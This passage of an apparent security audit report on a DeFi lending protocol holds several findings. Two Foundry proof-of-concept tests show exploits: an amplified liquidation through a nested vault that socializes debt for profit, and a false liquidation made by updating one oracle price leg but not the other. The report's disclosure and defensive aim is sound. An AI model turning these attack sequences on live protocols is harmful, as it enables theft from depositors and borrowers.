contract AmplifyLiquidateViaShorting is Test, DeployPermit2 {
    using Pretty for uint256;
    using Pretty for uint16;

    address admin;
    address feeReceiver;
    address protocolFeeReceiver;
```

```
    ProtocolConfig protocolConfig;
    MockPriceOracle oracle;
    MockBalanceTracker balanceTracker;
    address permit2;
    address sequenceRegistry;

    GenericFactory public factory;
    EthereumVaultConnector public evc;

    Base.Integrations integrations;
    Dispatch.DeployedModules modules;

    address initializeModule;
    address tokenModule;
    address vaultModule;
    address borrowingModule;
    address liquidationModule;
    address riskManagerModule;
    address balanceForwarderModule;
    address governanceModule;

    EVault public coreProductLine;
    EVault public escrowProductLine;

    TestERC20 USDC;
    TestERC20 WETH;

    IEVault public eUSDC;
    IEVault public eeUSDC; // nested vault that holds eUSDC as underlying asset
    IEVault public eWETH;  // collateral for eUSDC and eeUSDC vault

    /* Constants for the PoC */
    uint256 constant eUSDC_UNDERLYING_BALANCE = 5_000_000e18 * 1e4 / WETH_BORROW_LTV; // eUSDC vault initial
↪  balance (in USDC)
    uint256 constant eWETH_UNDERLYING_BALANCE = eUSDC_UNDERLYING_BALANCE * 1e18 / INIT_ETH_PRICE; // eWETH
↪  vault initial balance (in WETH). Left alone.
    uint256 constant eWETH_FRACTIONS = 100;
    uint256 constant ATTACKER_eUSDC_eWETH_AMOUNT = eWETH_UNDERLYING_BALANCE - VIOLATOR_eWETH_AMOUNT;
    uint256 constant VIOLATOR_eWETH_AMOUNT = eWETH_UNDERLYING_BALANCE * WHALE1_eUSDC_FRACTION /
eUSDC_FRACTIONS;
    uint256 constant VIOLATOR_USDC_BORROW_AMOUNT = VIOLATOR_eWETH_AMOUNT * INIT_ETH_PRICE * WETH_BORROW_LTV /
↪  (1e4 * 1e18) - 1;

    uint256 constant eUSDC_FRACTIONS = 100;
    uint256 constant WHALE1_eUSDC_FRACTION = 20;
    uint256 constant WHALE1_eUSDC_AMOUNT = eUSDC_UNDERLYING_BALANCE * WHALE1_eUSDC_FRACTION / eUSDC_FRACTIONS;
    uint256 constant WHALE2_eUSDC_FRACTION = 80;
    uint256 constant WHALE2_eUSDC_AMOUNT = eUSDC_UNDERLYING_BALANCE * WHALE2_eUSDC_FRACTION / eUSDC_FRACTIONS;

    uint256 constant INIT_ETH_PRICE       = 2000e18;
    uint256 constant LOW_ETH_PRICE        = 1850e18;
    uint16  constant WETH_BORROW_LTV      = 0.95e4;

    function setUp() public virtual {
        assertEq(WHALE1_eUSDC_FRACTION + WHALE2_eUSDC_FRACTION, eUSDC_FRACTIONS);
        admin = vm.addr(1000);
        feeReceiver = makeAddr("feeReceiver");
        protocolFeeReceiver = makeAddr("protocolFeeReceiver");
        factory = new GenericFactory(admin);

        evc = new EthereumVaultConnector();
        protocolConfig = new ProtocolConfig(admin, protocolFeeReceiver);
        balanceTracker = new MockBalanceTracker();
        oracle = new MockPriceOracle();
        permit2 = deployPermit2();
        sequenceRegistry = address(new SequenceRegistry());
        integrations =
            Base.Integrations(address(evc), address(protocolConfig), sequenceRegistry,
↪  address(balanceTracker), permit2);

        initializeModule = address(new Initialize(integrations));
        tokenModule = address(new Token(integrations));
        vaultModule = address(new Vault(integrations));
        borrowingModule = address(new Borrowing(integrations));
        liquidationModule = address(new Liquidation(integrations));
        riskManagerModule = address(new RiskManager(integrations));
```

```
        balanceForwarderModule = address(new BalanceForwarder(integrations));
        governanceModule = address(new Governance(integrations));

        modules = Dispatch.DeployedModules({
            initialize: initializeModule,
            token: tokenModule,
            vault: vaultModule,
            borrowing: borrowingModule,
            liquidation: liquidationModule,
            riskManager: riskManagerModule,
            balanceForwarder: balanceForwarderModule,
            governance: governanceModule
        });


        EVault evaultImpl = new EVault(integrations, modules);
        vm.prank(admin); factory.setImplementation(address(evaultImpl));

        USDC = new TestERC20("Fake USDC", "USDC", 18, false); // for convenience fake USDC has 18 decimals
        WETH = new TestERC20("Fake WETH", "WETH", 18, false);

        vm.label(address(USDC), "Fake USDC");
        vm.label(address(WETH), "Fake WETH");

        address unitOfAccount = address(USDC); // all vaults denominated in USDC

        eUSDC = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(USDC), address(oracle),
↪   unitOfAccount))
        );

        eUSDC.setInterestRateModel(address(new IRMTestDefault()));
        eUSDC.setMaxLiquidationDiscount(0.3e4);

        eeUSDC = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(eUSDC), address(oracle),
↪   unitOfAccount))
        );

        // Nested vault needs this this flag set so that eUSDC can be transferred to sub-accounts.
        eeUSDC.setConfigFlags(CFG_EVC_COMPATIBLE_ASSET);
        eeUSDC.setInterestRateModel(address(new IRMTestDefault()));

        eWETH = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(WETH), address(oracle),
↪   unitOfAccount))
        );
        eWETH.setInterestRateModel(address(new IRMTestDefault()));

        // Set LTVs so that eWETH is collateral for both eUSDC and eeUSDC
        eUSDC.setLTV(address(eWETH), WETH_BORROW_LTV, WETH_BORROW_LTV, 0);
        eeUSDC.setLTV(address(eWETH), WETH_BORROW_LTV, WETH_BORROW_LTV, 0);

        vm.label(address(eUSDC),  "eUSDC");
        vm.label(address(eeUSDC), "eeUSDC");
        vm.label(address(eWETH),  "eWETH");
    }

    function test_AmplifyLiquidate() public {

    //    AttackController attackController = new AttackController(oracle, evc);

        address attacker = makeAddr("attacker");
        uint160 prefix = uint160(attacker) & ~uint160(0xff);
        address attacker_eeUSDC = address(prefix | 0x01);
        address attacker_eUSDC  = address(prefix | 0x02);

        address violator = makeAddr("violator");
        address eUSDCWhale1 = makeAddr("eUSDCWhale1");
        address eUSDCWhale2 = makeAddr("eUSDCWhale2");

        vm.label(attacker_eeUSDC, "attacker_eeUSDC");
        vm.label(violator, "Violator");

        WETH.mint(address(this), eWETH_UNDERLYING_BALANCE);
        USDC.mint(address(this), eUSDC_UNDERLYING_BALANCE);
```

```
        // Approvals
        WETH.approve(address(eWETH), type(uint256).max);
        USDC.approve(address(eUSDC), type(uint256).max);
        vm.prank(attacker); USDC.approve(address(eUSDC), type(uint256).max);

        // eUSDC Approvals
        eUSDC.approve(address(eeUSDC), type(uint256).max);
        vm.prank(eUSDCWhale1);     eUSDC.approve(address(eeUSDC), type(uint256).max);
        vm.prank(eUSDCWhale2);     eUSDC.approve(address(eeUSDC), type(uint256).max);
        vm.prank(attacker_eeUSDC); eUSDC.approve(address(eeUSDC), type(uint256).max);
        vm.prank(attacker);        eUSDC.approve(address(eeUSDC), type(uint256).max);

        eWETH.deposit(VIOLATOR_eWETH_AMOUNT, violator);

        eUSDC.deposit(eUSDC_UNDERLYING_BALANCE * WHALE1_eUSDC_FRACTION / eUSDC_FRACTIONS , eUSDCWhale1);
        eUSDC.deposit(eUSDC_UNDERLYING_BALANCE * WHALE2_eUSDC_FRACTION / eUSDC_FRACTIONS , eUSDCWhale2);

        vm.startPrank(attacker); // approve eWETH for both eUSDC and eeUSDC vault (as it is collateral for
↪  both)
        eWETH.approve(address(eUSDC),  type(uint256).max);
        eWETH.approve(address(eeUSDC), type(uint256).max);
        vm.stopPrank();

        // Set initial prices
        oracle.setPrice(address(eUSDC), address(USDC), 1e18);
        oracle.setPrice(address(eWETH), address(USDC), INIT_ETH_PRICE);


        // Enable controllers and collaterals
        vm.startPrank(attacker);
        evc.enableController(attacker_eeUSDC, address(eeUSDC));
        evc.enableCollateral(attacker_eeUSDC, address(eWETH));
        vm.stopPrank();

        vm.startPrank(attacker);
        evc.enableController(attacker_eUSDC, address(eUSDC));
        evc.enableCollateral(attacker_eUSDC, address(eWETH));
        vm.stopPrank();

        vm.startPrank(violator);
        evc.enableController(violator, address(eUSDC));
        evc.enableCollateral(violator, address(eWETH));
        vm.stopPrank();

        vm.prank(eUSDCWhale2); evc.enableController(eUSDCWhale2, address(eeUSDC));

        // Whale 2 now deposits all of their eUSDC into eeUSDC getting eeUSDC shares. We're going to steal
↪  from them.
        vm.startPrank(eUSDCWhale2);
        eeUSDC.deposit(eUSDC.balanceOf(eUSDCWhale2), eUSDCWhale2);
        vm.stopPrank();

        // Now have the violator take out a loan
        console.log("eUSDC USDC:       %s", USDC.balanceOf(address(eUSDC)).pretty());
        console.log("Violator WETH:    %s", VIOLATOR_eWETH_AMOUNT.pretty());
        console.log("Violator borrows: %s", VIOLATOR_USDC_BORROW_AMOUNT.pretty());
        vm.startPrank(violator);
        eUSDC.borrow(VIOLATOR_USDC_BORROW_AMOUNT, violator);
        vm.stopPrank();

        // Now deposit just enough risk collateral in attacker_eUSDC acount to cover liquidation.
        // We don't include this in the accounting since normally you would sell the seized collateral
        // to pay for this
        uint256 inverseFactor = 1e8 / (WETH_BORROW_LTV - 1) - 1e4; // 1/LTV - 1

        uint256 extraCollateralCapital = eWETH.balanceOf(violator) * inverseFactor / 1e4;
        eWETH.deposit(extraCollateralCapital, attacker_eUSDC);

        // WETH price drops substantially
        oracle.setPrice(address(eWETH), address(USDC), LOW_ETH_PRICE);
        logLiquidationCheck("violator", eUSDC, attacker, violator, address(eWETH), LOW_ETH_PRICE);

        IEVC.BatchItem[] memory items = new IEVC.BatchItem[](5);

        console.log("----- Before attack ----");
```

```
        logAccountBalances("violator", violator);
        logAccountBalances("attacker_eUSDC", attacker_eUSDC);
        logAccountBalances("attacker_eeUSDC", attacker_eeUSDC);
        logAccountBalances("attacker", attacker);


        Stats memory stats;
        (, stats.violatorLiabilityBefore) = eUSDC.accountLiquidity(violator, true);

        {

        (stats.attackerCollateralBefore,) = eUSDC.accountLiquidity(attacker_eUSDC, true);

        console.log("Attacker borrows %s eUSDC", WHALE2_eUSDC_AMOUNT.pretty());
        items[0] = IEVC.BatchItem({
            onBehalfOfAccount: attacker_eeUSDC,
            targetContract: address(eeUSDC),
            value: 0,
            data: abi.encodeCall(eeUSDC.borrow, (WHALE2_eUSDC_AMOUNT, attacker_eUSDC))
        });

        items[1] = IEVC.BatchItem({
            onBehalfOfAccount: attacker_eUSDC,
            targetContract: address(eUSDC),
            value: 0,
            data: abi.encodeCall(eUSDC.withdraw, (WHALE2_eUSDC_AMOUNT, attacker, attacker_eUSDC))
        });

        items[2] = IEVC.BatchItem({
            onBehalfOfAccount: attacker_eUSDC,
            targetContract: address(eUSDC),
            value: 0,
            data: abi.encodeCall(eUSDC.liquidate, (violator, address(eWETH), type(uint256).max, 0))
        });

        items[3] = IEVC.BatchItem({
            onBehalfOfAccount: attacker,
            targetContract: address(eUSDC),
            value: 0,
            data: abi.encodeCall(eUSDC.mint, (WHALE2_eUSDC_AMOUNT, attacker_eeUSDC))
        });

        items[4] = IEVC.BatchItem({
            onBehalfOfAccount: attacker_eeUSDC,
            targetContract: address(eeUSDC),
            value: 0,
            data: abi.encodeCall(eeUSDC.repay, (WHALE2_eUSDC_AMOUNT, attacker_eeUSDC))
        });
        Vm.Log[] memory entries;
        vm.recordLogs();
        vm.prank(attacker); evc.batch(items);
        entries = vm.getRecordedLogs();

        (stats.attackerCollateralAfter, stats.attackerLiabilityAfter) = eUSDC.accountLiquidity(attacker_eUSDC,
↪  true);
        console.log("Attacker liquidation reward: %s",
          ((stats.attackerCollateralAfter - stats.attackerLiabilityAfter) -
↪  stats.attackerCollateralBefore).pretty());

        console.log("----- After attack ----");
        for (uint256 i = 0; i < entries.length; i++) {
            if (entries[i].topics[0] ==  keccak256("DebtSocialized(address,uint256)")) {
                console.log("Debt Socialized:            %s", uint256(abi.decode(entries[i].data,
↪  (uint256))).pretty());

            }
        }
        }


        {
        uint256 debtSocialized = stats.violatorLiabilityBefore - stats.attackerLiabilityAfter;
        uint256 eUSDCPrice = ((WHALE1_eUSDC_AMOUNT - debtSocialized) * 1e18 / WHALE1_eUSDC_AMOUNT);
        console.log("Calculated debt socialized: %s", debtSocialized.pretty());
        console.log("eUSDC price reduced to:     %s", eUSDCPrice.pretty());
        console.log("Attacker buys back borrowed eUSDC for: %s", (eUSDCPrice * WHALE2_eUSDC_AMOUNT /
↪  1e18).pretty());
```

```
        }
        console.log("***NOTE***:");
        console.log("   A non-zero debt socialized is money attacker could have ");
        console.log("   made if all eUSDC shares were in eeUSDC vault to be borrowed");
        console.log("   Would have been larger had shorting attack not occurred.");

        logAccountBalances("violator", violator);
        logAccountBalances("attacker_eUSDC", attacker_eUSDC);
        logAccountBalances("attacker_eeUSDC", attacker_eeUSDC);
        console.log("*** Any funds in attacker are profit ***");
        logAccountBalances("attacker", attacker);
    }

    function logAccountBalances(string memory s, address account) internal {
        logAccountBalances(s, evc.getAccountOwner(account), account);
    }

    function logAccountBalances(string memory s, address prank, address account) internal {
          uint256 bal;
          vm.startPrank(prank);
          console.log("");
          console.log("%s {", s);
          bal = USDC.balanceOf(account);
          console.log("  USDC:                %s", bal.pretty());
          if ((bal = WETH.balanceOf(account)) > 0) {
            console.log("  WETH:                %s", bal.pretty());
          }
          if ((bal = eUSDC.balanceOf(account)) > 0) {
            console.log("  eUSDC:               %s", bal.pretty());
          }
          if ((bal = eeUSDC.balanceOf(account)) > 0) {
            console.log("  eeUSDC:              %s", bal.pretty());
          }
          if ((bal = eWETH.balanceOf(account)) > 0) {
            console.log("  eWETH:               %s", bal.pretty());
          }

          IEVault[] memory vs = new IEVault[](2);
          vs[0] = eUSDC;
          vs[1] = eeUSDC;

          for (uint256 i = 0; i < vs.length; i++) {
            address[] memory controllers = evc.getControllers(account);
            if (controllers.length > 0 && controllers[0] == address(vs[i])) {
                console.log("  %s { ", vs[i].name());
                (uint256 collateralValue, uint256 liabilityValue) = vs[i].accountLiquidity(account, true);
                console.log("    collateral:        %s", collateralValue.pretty());
                console.log("    liability:         %s", liabilityValue.pretty());
                console.log("  }");
            }
          }
          console.log("}");
          vm.stopPrank();
    }

    function logLiquidationCheck(string memory s, IEVault vault, address liquidator, address violator, address
↪   collateral, uint256 price) internal {
        (uint256 maxRepay, uint256 maxYield) = vault.checkLiquidation(liquidator, violator, collateral);
        console.log("");
        console.log("Liquidation stats %s {", s);
        console.log("  maxRepay:       %s", maxRepay.pretty());
        console.log("  maxYield");
        console.log("   collat asset:  %s", maxYield.pretty());
        uint256 maxYieldUOA = maxYield * price / 1e18;
        console.log("   unitOfAccount: %s", maxYieldUOA.pretty());
        console.log("}");

        // Within 0.01%
        assertGe(maxYieldUOA * 10001/10000, maxRepay, "maxYield does not cover maxRepay");

    }

    function calcDebtSocialization(IEVault vault, address liquidator, address violator, address collateral)
↪   internal returns (uint256 amount, uint256 percent) {
        (uint256 maxRepay, uint256 maxYield) = vault.checkLiquidation(liquidator, violator, collateral);
        uint256 debt = IERC20(vault.asset()).balanceOf(violator);
```

```
        require(maxRepay <= debt, "maxRepay > debt");
        // maxRepay < debt (otherwise no incentive)
        amount = debt - maxRepay;
        percent = 10_000 - 10_000 * maxRepay / debt;
    }

}

contract MockPriceOracle {

    using Pretty for uint256;

    mapping(address base => mapping(address quote => uint256)) price;

    function name() external pure returns (string memory) {
        return "MockPriceOracle";
    }

    function getQuote(uint256 amount, address base, address quote) public view returns (uint256 out) {
        return amount * price[base][quote] / 1e18;
    }

    function getQuotes(uint256 amount, address base, address quote)
        external
        view
        returns (uint256 bidOut, uint256 askOut)
    {
        bidOut = askOut = getQuote(amount, base, quote);
    }

    ///// Mock functions

    function setPrice(address base, address quote, uint256 newPrice) external {
        price[base][quote] = newPrice;
    }

}
```

3.1.20 `metadata` is not reset to original value when execution context is restored

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: Set.sol#L260

Description: The `SetStorage` struct includes a `metadata` field, which stores the timestamp of the last account status check. The `forEachAndClear` function is designed to iterate over each element in the set, apply a callback function to each element, and then **clear** the set. However, in the original implementation, the `metadata` field was preserved rather than being reset to its default value.

It breaks CER-35 which says:

> Both Account- and Vault-Status-Checks-related storage sets MUST return to their default state when the Execution Context's checksDeferred flag is cleared and the checks are performed

- Original Implementation:

```
setStorage.metadata = metadata;
```

- Issue: Preserving the `metadata` value instead of resetting it to `0` can lead to the following risks:
  - If `metadata` is not reset, it retains the timestamp of the last account status check, which could lead to the use of outdated and incorrect data in future operations.
  - Keeping old metadata can cause inconsistencies, as the set would appear to be cleared (`numElements == 0` and `firstElement == address(0)`) but still have non-zero metadata, which might mislead subsequent logic.
  - Any functions that rely on the `metadata` being `0` for an empty set could potentially be compromised.

Recommendation: The `metadata` field should be reset to its default value (`0`) to ensure that the state is fully cleared & consistent:

```
setStorage.metadata = 0; // Reset metadata to its default value
```

3.1.21 Specs and implementation of call & batch function is not matching

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: EthereumVaultConnector.sol#L888-L890

Description: The specs CER-25 do not explicitly state that the value must be zero when calling the EVC itself. However, the implementation enforces this by checking if the value is not zero and reverting if it is not.

Impact: This additional check can lead to unexpected reverts if someone prepares a batch call or a single call with the EVC as the target and a non-zero value, following the specs but unaware of the value requirement.

Recommendation: Correct the specs and mention that the value MUST be zero or if this is mistakenly implemented remove the check.

3.1.22 Unit of account price oracle manipulation exploited

Submitted by highbit

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Unit of account price oracle manipulation exploited. It is possible to manipulate pull-based oracles, in a limited way, by updating the price to any that:

- Has occurred within the allowed window (as discussed in Euler's own words in the Spearbit EVK audit report in section 5.1.2).
- *and* is greater than the cached price stamp (see RedstoneCoreOracle.sol#L81).

Vaults can be configured with a unit of account different to the deposited asset; this is the currency used for internal risk calculations and the quote currency for price oracle queries.

When vaults with a separate unit of account calculate the health of a position they use two oracle queries; one to value the collateral and one to value the borrow. In the case of pull oracles, there is no check that these two prices come from the same time. A malicious actor can selectively update one leg to a more recent price than the other.

This allows malicious liquidation. For two different price feeds it is possible to choose two distinct timestamps such that a position will be liquidatable even though the position was never truly liquidatable in real time, i.e. considering the prices correctly at synchronous timestamps.

Consider the following scenario:

- Two vaults: eDOGE and ePEPE. Both have USDC as their unit of account.
- ePEPE is a collateral for eDOGE with LTV = 0.75 (as these are highly volatile tokens).
  - At time T=1: PEPE-USDC = 15, DOGE-USDC = 0.16. This implies a PEPE-DOGE price of 93.75.
  - At time T=2: PEPE-USDC = 10, DOGE-USDC = 0.14. This implies a PEPE-DOGE price of 71.42.
- Assume that *at any other time* 10 ePEPE collateralises a 500 DOGE liability.
- A user borrows 500 DOGE using 10 ePEPE as collateral.
- Assuming synchronous updates of the price oracles:
  - At T=1, the risk adjusted value of 10 ePEPE is 10 * 15 * 0.75 = 112.5 USDC while 500 DOGE is worth 500 * 0.16 = 80 USDC.

  - At T=2, the risk adjusted value of 10 ePEPE is 10 * 10 * 0.75 = 75 USDC while 500 DOGE is worth 500 * 0.14 = 70 USDC.
  - In both cases the loan is healthy and cannot be liquidated.
- The T=2 price is, for all intents and purposes, the true spot price and external DEXes are close to this price.

However, an attacker could then:

- Update only the PEPE-USDC price feed to the T = 2 value.
- Liquidate the loan as unhealthy, because the collateral is valued at 75 USDC (the T=2 value) and this does not cover the 80 USDC value at the T=1 price.
  - This would seize *at least* 80 USDC worth of PEPE to cover the DOGE liability, and perhaps more given the vault's liquidation reward configuration.
  - The attacker would take on a liability of 500 DOGE.
  - At the T=2 price 80 USDC is equal to 8 PEPE.
  - The attacker could then sell the 8 PEPE on an external DEX for 571.36 DOGE (since the real T=2 DOGE-PEPE price is 71.42).
  - Even with slippage and fees this easily pays of the debt with some to spare.

The root cause of this exploit is a timestamp mismatch between prices -- creating an implied conversion rate that never existed in real time. The liquidation seized too much ePEPE collateral because the DOGE-USDC price was set to the T = 1 price, while the collateral was valued using the PEPE-USDC price set to the T = 2 price. The risk of profitable self-liquidations is also increased via this same mechanism.

Selecting any two prices in a N-minute window is already strictly more dangerous than selecting just one. To make matters worse: given a single oracle, old prices really existed at some point in time, but using unsynchronized updates one can generate implied conversion rates that never existed at all.

Impact:

- It is fundamentally unfair to borrowers for a position to be liquidatable when, in real time, the collateral always covered the liability. Sandwiching a liquidation between two price feed updates should not lead to false liquidations.
- During malicious liquidation the borrowers' collateral is valued at a fictitious low rate to the benefit of the liquidator.

Unit of account is presented as an internal accounting feature, however borrowers and lenders are actually exposed to additional risk from large sudden price movements of the collateral and liability against the unit of account.

Accepting synthetic instruments as collateral that have a pegged value relationship needs extra consideration: situations where they are otherwise extremely safe could be ruined by swings against the unit of account.

Self liquidations and bad debt are always a risk with pull oracles, this mechanism increases that risk in cases where a separate unit of account is used.

The main impact is that users' positions can be falsely liquidated when in reality they were always healthy. The malicious liquidator gets an exploited collateral price that never existed in real time. In the worst case this has impacts on the solvency of EVaults.

Likelihood: Any vault using pull-oracles with a separate unit of account risks false liquidation. Conditions that make it more likely are fairly common:

- A healthy loan without a large margin (it is not capital efficient to post more collateral than necessary).
- A collateral and borrow token with correlated prices.
- The collateral and borrow token are themselves violatile against the unit of account.

This is a quite likely configuration, it can be desirable to collateralize loans with assets that are correlated, for example alt-coin loans collateralized with other alt-coins. If these coins both move sharply up or down

with regards to the unit of accout it could allow a false liquidation, even though the account was never actually unhealthy.

Recommendation: The solution is to require synchronisation of price feed updates. In the example we presented an update of the PEPE-USDC price feed for the ePEPE vault should also require an update of all accepted collaterals *for the same timestamp*.

Proof of concept:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";

import {DeployPermit2} from "permit2/test/utils/DeployPermit2.sol";
import {EthereumVaultConnector} from "ethereum-vault-connector/EthereumVaultConnector.sol";
import {IEVC} from "ethereum-vault-connector/interfaces/IEthereumVaultConnector.sol";
import {IVault} from "ethereum-vault-connector/interfaces/IVault.sol";

import {GenericFactory} from "../../src/GenericFactory/GenericFactory.sol";

import {EVault} from "../../src/EVault/EVault.sol";
import {ProtocolConfig} from "../../src/ProtocolConfig/ProtocolConfig.sol";
import {SequenceRegistry} from "../../src/SequenceRegistry/SequenceRegistry.sol";
import "../../src/EVault/shared/Constants.sol";

import {Dispatch} from "../../src/EVault/Dispatch.sol";

import {Initialize} from "../../src/EVault/modules/Initialize.sol";
import {Token} from "../../src/EVault/modules/Token.sol";
import {Vault} from "../../src/EVault/modules/Vault.sol";
import {Borrowing} from "../../src/EVault/modules/Borrowing.sol";
import {Liquidation} from "../../src/EVault/modules/Liquidation.sol";
import {BalanceForwarder} from "../../src/EVault/modules/BalanceForwarder.sol";
import {Governance} from "../../src/EVault/modules/Governance.sol";
import {RiskManager} from "../../src/EVault/modules/RiskManager.sol";

import {IEVault, IERC20} from "../../src/EVault/IEVault.sol";
import {IPriceOracle} from "../../src/interfaces/IPriceOracle.sol";
import {Base} from "../../src/EVault/shared/Base.sol";
import {Errors} from "../../src/EVault/shared/Errors.sol";

import {TestERC20} from "../../test/mocks/TestERC20.sol";
import {MockBalanceTracker} from "../../test/mocks/MockBalanceTracker.sol";
import {IRMTestDefault} from "../../test/mocks/IRMTestDefault.sol";
import {Pretty} from "../../test/invariants/utils/Pretty.sol";


struct Stats {
    uint256 attackerCollateralBefore;
    uint256 attackerLiabilityBefore;
    uint256 attackerCollateralAfter;
    uint256 attackerLiabilityAfter;
    uint256 violatorCollateralBefore;
    uint256 violatorLiabilityBefore;
    uint256 violatorCollateralAfter;
    uint256 violatorLiabilityAfter;
}
contract UnfairUnitOfAccountLiquidation is Test, DeployPermit2 {
    using Pretty for uint256;
    using Pretty for uint16;

    address admin;
    address feeReceiver;
    address protocolFeeReceiver;
    ProtocolConfig protocolConfig;
    MockPriceOracle oracle;
    MockBalanceTracker balanceTracker;
    address permit2;
    address sequenceRegistry;

    GenericFactory public factory;
    EthereumVaultConnector public evc;

    Base.Integrations integrations;
```

```
    Dispatch.DeployedModules modules;

    address initializeModule;
    address tokenModule;
    address vaultModule;
    address borrowingModule;
    address liquidationModule;
    address riskManagerModule;
    address balanceForwarderModule;
    address governanceModule;

    EVault public coreProductLine;
    EVault public escrowProductLine;

    TestERC20 USDC;
    TestERC20 DOGE;
    TestERC20 PEPE; // Units of 1 million (1e6) PEPE for convenience

    IEVault public eDOGE;
    IEVault public ePEPE;

    /* Constants for the PoC */
    uint16  constant eDOGE_ePEPE_LTV = 0.75e4;
    uint256 constant DOGE_SUPPLY = 100_000_000e18;
    uint256 constant PEPE_SUPPLY = 100_000_000e18;
    uint256 constant eDOGE_UNDERLYING_BALANCE = 5_000_000e18;
    uint256 constant ePEPE_UNDERLYING_BALANCE = 5_000_000e18;
    uint256 constant VIOLATOR_PEPE_COLLATERAL =        10e18;
    uint256 constant VIOLATOR_DOGE_BORROW     =       500e18;

    uint256 constant EARLY_PEPE_USDC_RATE = 15.00e18;
    uint256 constant EARLY_DOGE_USDC_RATE =  0.16e18;
    uint256 constant LATE_PEPE_USDC_RATE  = 10.00e18;
    uint256 constant LATE_DOGE_USDC_RATE  =  0.14e18;

    function setUp() public virtual {
        admin = vm.addr(1000);
        feeReceiver = makeAddr("feeReceiver");
        protocolFeeReceiver = makeAddr("protocolFeeReceiver");
        factory = new GenericFactory(admin);

        evc = new EthereumVaultConnector();
        protocolConfig = new ProtocolConfig(admin, protocolFeeReceiver);
        balanceTracker = new MockBalanceTracker();
        oracle = new MockPriceOracle();
        permit2 = deployPermit2();
        sequenceRegistry = address(new SequenceRegistry());
        integrations =
            Base.Integrations(address(evc), address(protocolConfig), sequenceRegistry,
↪   address(balanceTracker), permit2);

        initializeModule = address(new Initialize(integrations));
        tokenModule = address(new Token(integrations));
        vaultModule = address(new Vault(integrations));
        borrowingModule = address(new Borrowing(integrations));
        liquidationModule = address(new Liquidation(integrations));
        riskManagerModule = address(new RiskManager(integrations));
        balanceForwarderModule = address(new BalanceForwarder(integrations));
        governanceModule = address(new Governance(integrations));

        modules = Dispatch.DeployedModules({
            initialize: initializeModule,
            token: tokenModule,
            vault: vaultModule,
            borrowing: borrowingModule,
            liquidation: liquidationModule,
            riskManager: riskManagerModule,
            balanceForwarder: balanceForwarderModule,
            governance: governanceModule
        });


        EVault evaultImpl = new EVault(integrations, modules);
        vm.prank(admin); factory.setImplementation(address(evaultImpl));

        USDC = new TestERC20("Fake USDC", "USDC", 18, false); // for convenience fake USDC has 18 decimals
```

```
        DOGE = new TestERC20("Fake DOGE", "DOGE", 18, false);
        PEPE = new TestERC20("Fake PEPE", "PEPE", 18, false);

        vm.label(address(USDC), "Fake USDC");
        vm.label(address(DOGE), "Fake DOGE");
        vm.label(address(PEPE), "Fake PEPE");

        address unitOfAccount = address(USDC); // all vaults denominated in USDC

        eDOGE = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(DOGE), address(oracle),
↪  unitOfAccount))
        );

        eDOGE.setInterestRateModel(address(new IRMTestDefault()));
        eDOGE.setMaxLiquidationDiscount(0.3e4);

        ePEPE = IEVault(
            factory.createProxy(address(0), true, abi.encodePacked(address(PEPE), address(oracle),
↪  unitOfAccount))
        );
        ePEPE.setInterestRateModel(address(new IRMTestDefault()));

        eDOGE.setLTV(address(ePEPE), eDOGE_ePEPE_LTV, eDOGE_ePEPE_LTV, 0);

        vm.label(address(eDOGE), "eDOGE");
        vm.label(address(ePEPE), "ePEPE");
    }

    function test_UnfairLiquidation() public {
        address violator = makeAddr("violator");
        vm.label(violator, "Violator");

        address liquidator = makeAddr("liquidator");
        vm.label(violator, "Liquidator");

        DOGE.mint(address(this), DOGE_SUPPLY);
        PEPE.mint(address(this), PEPE_SUPPLY);

        DOGE.approve(address(eDOGE), type(uint256).max);
        PEPE.approve(address(ePEPE), type(uint256).max);

        eDOGE.deposit(eDOGE_UNDERLYING_BALANCE, address(this));
        ePEPE.deposit(ePEPE_UNDERLYING_BALANCE, address(this));

        ePEPE.deposit(VIOLATOR_PEPE_COLLATERAL, violator);

        oracle.setPrice(address(DOGE),  address(USDC), EARLY_DOGE_USDC_RATE);
        oracle.setPrice(address(ePEPE), address(USDC), EARLY_PEPE_USDC_RATE);

        vm.startPrank(violator);
        evc.enableController(violator, address(eDOGE));
        evc.enableCollateral(violator, address(ePEPE));
        eDOGE.borrow(VIOLATOR_DOGE_BORROW, violator);
        vm.stopPrank();

        uint256 collateralBefore;
        uint256 liabilityBefore;
        (collateralBefore, liabilityBefore) = eDOGE.accountLiquidity(violator, true);

        oracle.setPrice(address(ePEPE), address(USDC), LATE_PEPE_USDC_RATE);

        uint256 collateralBetween;
        uint256 liabilityBetween;
        (collateralBetween, liabilityBetween) = eDOGE.accountLiquidity(violator, true);

        oracle.setPrice(address(DOGE), address(USDC), LATE_DOGE_USDC_RATE);

    // Assert account is unhealthy between the two legs of the update
    assert(collateralBetween < liabilityBetween);

        uint256 collateralAfter;
        uint256 liabilityAfter;
        (collateralAfter, liabilityAfter) = eDOGE.accountLiquidity(violator, true);

        console.log("=== Before Both Price Updates ===");
```

```
        console.log("Collateral:\t%s USDC", collateralBefore.pretty());
        console.log("Liability:\t%s USDC", liabilityBefore.pretty());
        console.log("Healthy:\t%s", collateralBefore >= liabilityBefore);

        console.log("=== Between Updates (never existed in real time) ===");
        console.log("Collateral:\t%s USDC", collateralBetween.pretty());
        console.log("Liability:\t%s USDC", liabilityBetween.pretty());
        console.log("Healthy:\t%s", collateralBetween >= liabilityBetween);

        console.log("=== After Both Price Updates ===");
        console.log("Collateral:\t%s USDC", collateralAfter.pretty());
        console.log("Liability:\t%s USDC", liabilityAfter.pretty());
        console.log("Healthy:\t%s", collateralAfter >= liabilityAfter);
    }

}

contract MockPriceOracle {

    using Pretty for uint256;

    mapping(address base => mapping(address quote => uint256)) price;

    function name() external pure returns (string memory) {
        return "MockPriceOracle";
    }

    function getQuote(uint256 amount, address base, address quote) public view returns (uint256 out) {
        return amount * price[base][quote] / 1e18;
    }

    function getQuotes(uint256 amount, address base, address quote)
        external
        view
        returns (uint256 bidOut, uint256 askOut)
    {
        bidOut = askOut = getQuote(amount, base, quote);
    }

    ///// Mock functions

